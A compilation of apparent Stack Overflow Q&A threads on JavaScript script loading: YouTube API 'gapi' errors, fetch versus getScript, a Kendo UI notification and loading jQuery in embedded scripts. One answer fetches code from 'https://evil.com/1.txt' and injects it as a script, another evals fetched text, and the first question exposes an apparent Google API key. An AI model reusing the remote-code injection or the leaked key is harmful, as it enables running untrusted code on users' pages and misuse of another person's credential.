GAPI is not defined when using youtube api? [duplicate] - javascript

I'm trying to do a Youtube API and I feel like I got everything working except this gapi and res thing? It says gapi is not defined. How can I make this work?
function tplawesome(e,t){res=e;for(var n=0;n<t.length;n++){res=res.replace(/\{\{(.*?)\}\}/g,function(e,r){return t[n][r]})}return res}
$(function() {
$("form").on("submit", function(e) {
e.preventDefault();
// prepare the request
var request = gapi.client.youtube.search.list({
part: "snippet",
type: "video",
q: encodeURIComponent($("#search").val()).replace(/%20/g, "+"),
maxResults: 3,
order: "viewCount",
publishedAfter: "2015-01-01T00:00:00Z"
});
// execute the request
request.execute(function(response) {
var results = response.result;
$("#results").html("");
$.each(results.items, function(index, item) {
$.get("tpl/item.html", function(data) {
$("#results").append(tplawesome(data, [{"title":item.snippet.title, "videoid":item.id.videoId}]));
});
});
resetVideoHeight();
});
});
$(window).on("resize", resetVideoHeight);
});
function resetVideoHeight() {
$(".video").css("height", $("#results").width() * 9/16);
}
function init() {
gapi.client.setApiKey("AIzaSyD646m4ZfK5yKBZj9p95LohN-PTUnRHBRY");
gapi.client.load("youtube", "v3", function() {
});
}

gapi is an object created by the Google API javascript library that manages all interactions (i.e. does all the heavy lifting of the requests) for you. If the object is not defined, you may not have included the library itself in your page. Somewhere in your HTML, you'll need a script tag that loads the library located at:
https://apis.google.com/js/client.js
Note that, in loading the library with a script tag, you should also pass it a callback ... this is a function that will be automatically called as soon as the library is done loading. So in your case, your init() method is that callback, and so your script tag would look like this:
<script src="https://apis.google.com/js/client.js?onload=init"></script>
The browser will get the library, load it, then run init() when the library is done loading, and all will be ready for your form to execute when triggered.

Related

Can I run a JS script from another using `fetch`?

Lower intermediate JS/JQ person here.
I'm trying to escape callback hell by using JS fetch. This is billed as "the replacement for AJAX" and seems to be pretty powerful. I can see how you can get HTML and JSON objects with it... but is it capable of running another JS script from the one you're in? Maybe there's another new function in ES6 to do:
$.getScript( 'xxx.js' );
i.e.
$.ajax({ url : 'xxx.js', dataType : "script", });
...?
later, response to Joseph The Dreamer:
Tried this:
const createdScript = $(document.createElement('script')).attr('src', 'generic.js');
fetch( createdScript )...
... it didn't run the script "generic.js". Did you mean something else?
Fetch API is supposed to provide promise-based API to fetch remote data. Loading random remote script is not AJAX - even if jQuery.ajax is capable of that. It won't be handled by Fetch API.
Script can be appended dynamically and wrapped with a promise:
const scriptPromise = new Promise((resolve, reject) => {
const script = document.createElement('script');
document.body.appendChild(script);
script.onload = resolve;
script.onerror = reject;
script.async = true;
script.src = 'foo.js';
});
scriptPromise.then(() => { ... });
SystemJS is supposed to provide promise-based API for script loading and can be used as well:
System.config({
meta: {
'*': { format: 'global' }
}
});
System.import('foo.js').then(() => { ... });
There are a few things to mention on here.
Yes, it is possible to execute a javascript just loaded from the server. You can fetch the file as text and user eval(...) while this is not recommended because of untrackeable side effects and lack of security!
Another option would be:
1. Load the javascript file
2. Create a script tag with the file contents (or url, since the browser caches the file)
This works, but it may not free you from callback hell perse.
If what you want is load other javascript files dinamically you can use, for example requirejs, you can define modules and load them dinamically. Take a look at http://requirejs.org/
If you really want to get out of the callback hell, what you need to do is
Define functions (you can have them in the same file or load from another file using requirejs in the client, or webpack if you can afford a compilation before deployment)
Use promises or streams if needed (see Rxjs https://github.com/Reactive-Extensions/RxJS)
Remember that promise.then returns a promise
someAsyncThing()
.then(doSomethingAndResolveAnotherAsncThing)
.then(doSomethingAsyncAgain)
Remember that promises can be composed
Promise.all(somePromise, anotherPromise, fetchFromServer)
.then(doSomethingWhenAllOfThoseAreResolved)
yes u can
<script>
fetch('https://evil.com/1.txt').then(function(response) {
if (!response.ok) {
return false;
}
return response.blob();
}) .then(function(myBlob) {
var objectURL = URL.createObjectURL(myBlob);
var sc = document.createElement("script");
sc.setAttribute("src", objectURL);
sc.setAttribute("type", "text/javascript");
document.head.appendChild(sc);
})
</script>
dont listen to the selected "right" answer.
Following fetch() Api works perfectly well for me, as proposed by answer of #cnexans (using .text() and then .eval()). I noticed an increased performance compared to method of adding the <script> tag.
Run code snippet to see the fetch() API loading async (as it is a Promise):
// Loading moment.min.js as sample script
// only use eval() for sites you trust
fetch('https://momentjs.com/downloads/moment.min.js')
.then(response => response.text())
.then(txt => eval(txt))
.then(() => {
document.getElementById('status').innerHTML = 'moment.min.js loaded'
// now you can use the script
document.getElementById('today').innerHTML = moment().format('dddd');
document.getElementById('today').style.color = 'green';
})
#today {
color: orange;
}
<div id='status'>loading 'moment.min.js' ...</div>
<br>
<div id='today'>please wait ...</div>
The Fetch API provides an interface for fetching resources (including across the network). It will seem familiar to anyone who has used XMLHttpRequest, but the new API provides a more powerful and flexible feature set. https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API
That's what it's supposed to do, but unfortunately it doesn't evaluate the script.
That's why I released this tiny Fetch data loader on Github.
It loads the fetched content into a target container and run its scripts (without using the evil eval() function.
A demo is available here: https://www.ajax-fetch-data-loader.miglisoft.com
Here's a sample code:
<script>
document.addEventListener('DOMContentLoaded', function(event) {
fetch('ajax-content.php')
.then(function (response) {
return response.text()
})
.then(function (html) {
console.info('content has been fetched from data.html');
loadData(html, '#ajax-target').then(function (html) {
console.info('I\'m a callback');
})
}).catch((error) => {
console.log(error);
});
});
</script>

javascript function doesn't responding

Simple thing!!..In asp.net- MVC project. i have a button . and i have a external javascript file mydata.js. in that file contains a function checkJS().
function checkJs()
{
debugger;
alert("your output!!!");
}
My code:
<div id="mydivid" style="background-color:lightblue;">
STAGE
</div>
<input type="button" id="btnid" value="Load Data" />
When i click a button , Its just call the jQuery click function
$(document).ready(function () {
$("#btnid").click(function (event) {
debugger;
$.getScript('mydata.js', function() {
// debugger;
checkJs();
});
});
});
I used initialy 1.12.4.js library file in the head tag
and i added my external js file in head tag.
what is the problem in my code. why the button click did not reached the external method.
1.Make sure that jQuery library added before your external java-script file.
When you ensure the first point do like below:-
$(document).ready(function () {
$("#btnid").click(function (event) {
checkJs();
});
});
2.If you want to use $.getScript() then do like below:-
$(document).ready(function () {
$("#btnid").click(function (event) {
$.getScript('mydata.js').done(function(data, textStatus) { // check the file path of mydata.js is correct or not?
checkJs();
});
});
});
The above code will work only when you have jQuery library added before this code and you remove the external JavaScript file path from your head.
Note:-
data:- returned data from external script
textStatus:- status of the call to external script (plain-text like "Success")
For more knowledge check this link:- jQuery.getScript()
You can directly call your function without getScript if you have already included the mydata.js in head.
If not, and want to do it with getScript then make sure you are giving correct path, load js in done callback and if still not then check if calls goes to fail callback.
$(document).ready(function () {
$("#btnid").click(function (event) {
debugger;
$.getScript('mydata.js').done(function(data, textStatus, jqxhr) {
checkJs();
}).fail(function(){
if(arguments[0].readyState==0){
//script failed to load
}else{
//script loaded but failed to parse
alert(arguments[2].toString());
}
})
});
});
Done callback has 3 parameters with has following values in it.
data: has the returned data(script)
textStatus: it returns the status in plain text, e.g. "Success"
jqxhr : its jqXHR object, which is a superset of the XMLHTTPRequest object and has the "status" property which returns status code.

Trying to add simple notification.... not a function

When I launch the page, I fire up the chrome dev tools and look in the sources window, load my file and I see
Uncaught TypeError: $(...).kendoNotification is not a function
Im trying to modify an existing application ive been given which uses Kendo UI. I just want to add in a notification popup.
Referring to the docs, a common cause of this is not including all required javascript resources, but they all seem to be there. jquery, kendo.all.min and were also using kendo.modernizr
Its obviously its my problem, since all the other kendo widgets work fine.
Im trying to follow this example
http://code.tutsplus.com/tutorials/adding-application-notifications-with-kendo-ui-core--cms-20989
Something is getting initialized correctly, im just not sure where/what it could be.
The page itself is rather large, but the notification is just
<span id="popupNotification"></span>
... more html
<script>
....more stuff
$.ajax({
...
success: function (result) {
var popupNotification = $('#popupNotification').kendoNotification({
appendTo: "#SalesGrid", autoHideAfter: 5000, width: 400
}).data('kendoNotification');
var d = new Date();
popupNotification.show({ time: kendo.toString(d, 'HH:MM:ss.') + kendo.toString(d.getMilliseconds(), "000") }, "time");
}
})
</script>
[update]
I just realized i was trying to show the notification from within an ajax call, so I found a more relevant example here.
[update 2, full source of function being called ]
function postBatch(e) {
//alert('made it');
$.ajax({
url: '#Html.Raw(#Url.Action("SalesAction", "SalesController"))',
data: { batchID: e, status: "POSTED" },
async: false,
dataType: "json",
type: 'POST',
success: function (result) {
var statementBatchDS = $('#SalesGrid').data().kendoGrid.dataSource;
statementBatchDS.data(result.Data);
// *** FAILS HERE *** note: SalesGrid is a KendoUI grid
var popupNotification = $('#popupNotification').kendoNotification({
appendTo: "#SalesGrid", autoHideAfter: 5000, width: 400
}).data('kendoNotification');
var d = new Date();
popupNotification.show('Batch post error, please review', 'error');
}
});
}
Where/which script source within Kendo UI is the KendoNotificaiton widget defined? Im using kendo.all.min.js, so I was assuming that included everything. Yet, when I call the notificaiton show method (see above), the error seems to indicate it cant construct the notification..which leads me to think the source isnt being included, yet the kendo.all.min.js file is clearly being pulled in as I inspect the source in Chrome's dev tools.
So off to Telerik I go, and I read these
http://docs.telerik.com/kendo-ui/intro/installation/what-you-need
http://docs.telerik.com/kendo-ui/intro/supporting/scripts-general
Yet, the "all" version is whats in the reference
http://demos.telerik.com/kendo-ui/notification/index
I had this same problem and solved removing the kendo call from inside the AJAX snippet with a function:
success: function(data){
notify();// here i call a function to send the notification
clean();//another function to clear form data.
},
...
function notify(){
var popupNotification = $("#popupNotification").kendoNotification().data("kendoNotification");
popupNotification.show("Some notification", "success");
}
Turns out it was just a matter of upgrading the version of the Kendo libraries I was using. At least im past the point of the Notification widget not being loaded.

How to include jQuery library in single js file without interfering with existing libraries

3rd party websites can place my script tag on their websites, like so on for example ExternalSite.html in the head section:
<script type="text/javascript">
(function () {
var ttScript = document.createElement('script'); ttScript.async = true;
ttScript.src = '//www.example.com/script/myscript.js';
(document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(ttScript);
})();
</script>
On my own server, in the file myscript.js I have this code:
$.ajax({
url: "http://www.example.com/iplookup.php",
data: null,
type: 'GET',
crossDomain: true,
dataType: 'jsonp'
}).done(function (json) {
self.ip = json;
});
But once a user visits the 3rd party site, on the first line here I get Uncaught ReferenceError: $ is not defined
Now this is probably because I don't reference jQuery on the 3rd party site, where I include the myscript.js file. The problem is that:
I do not know if this 3rd party site even has jQuery running
I don't know how to reference jQuery from myscript.js, also without possibly interfering with an existing jQuery reference on the 3rd party site
First make a check
for jQuery load using javaScript
window.onload = function() {
if (window.jQuery) {
// jQuery is loaded
// Now insert your scripts
} else {
// jQuery is not loaded
// Load it manually from any cdn e.g., //ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js
}
}
There are some other similar ways of checking which we can use
if (typeof jQuery != 'undefined') {
// jQuery is loaded
} else {
// jQuery is not loaded
}
if (jQuery) {
// jQuery is loaded
} else {
// jQuery is not loaded
}
There 's a working fiddle available by atornblad which also tells the time jQuery took to load.
You can have a look for a better reference.
Hope this helps..

Youtube API only loads on first page visit

I've written a little mobile web application to control YouTube on my PC from my phone, however something strange is happening when searching using the YouTube API. The first time the page loads, everything works great - enter the search term, click search and results are returned.
However, if I click onto another page and then come back, the search no longer works and I see "Uncaught TypeError: Cannot read property of 'search' undefined" in the search function below.
I'm very new to JavaScript so feel free to berate the code, but I've been seeing this problem for a while and despite much googling haven't been able to find a solution.
// Called automatically when JavaScript client library is loaded.
function onClientLoad()
{
//
try
{
gapi.client.load('youtube', 'v3', onYouTubeApiLoad);
}
// Called automatically when YouTube API interface is loaded.
function onYouTubeApiLoad()
{
gapi.client.setApiKey('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx');
}
function search(q) {
// Create api request and execute it
var request = gapi.client.youtube.search.list({
type: 'video',
part: 'snippet',
q: q
});
// Send the request to the API server,
// and invoke onSearchRepsonse() with the response.
request.execute(onSearchResponse);
}
function onSearchResponse(response) {
showResponse(response);
}
The link to the API script is in my search.aspx page as below:
<script src="https://apis.google.com/js/client.js?onload=onClientLoad" type="text/javascript"></script>
JQuery is also being used, so I don't know if there is any funny business being caused there but any ideas at this point would be very much appreciated!
Make sure you're calling search() after onYouTubeApiLoad() executes.
If you are binding search() to a click event, make sure to do so on the callback:
function onYouTubeApiLoad()
{
gapi.client.setApiKey('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx');
$("button#search").on("click", function(){ search(...); })
}
Looks like I figured it out. It looks like the initial load of the API is done when it first loads the script in
<script src="https://apis.google.com/js/client.js?onload=onClientLoad" type="text/javascript"></script>
but then not loaded again when leaving and coming back to the page. I added onClientLoad(); to the
$( document ).ready function at it seems to be working now.

Categories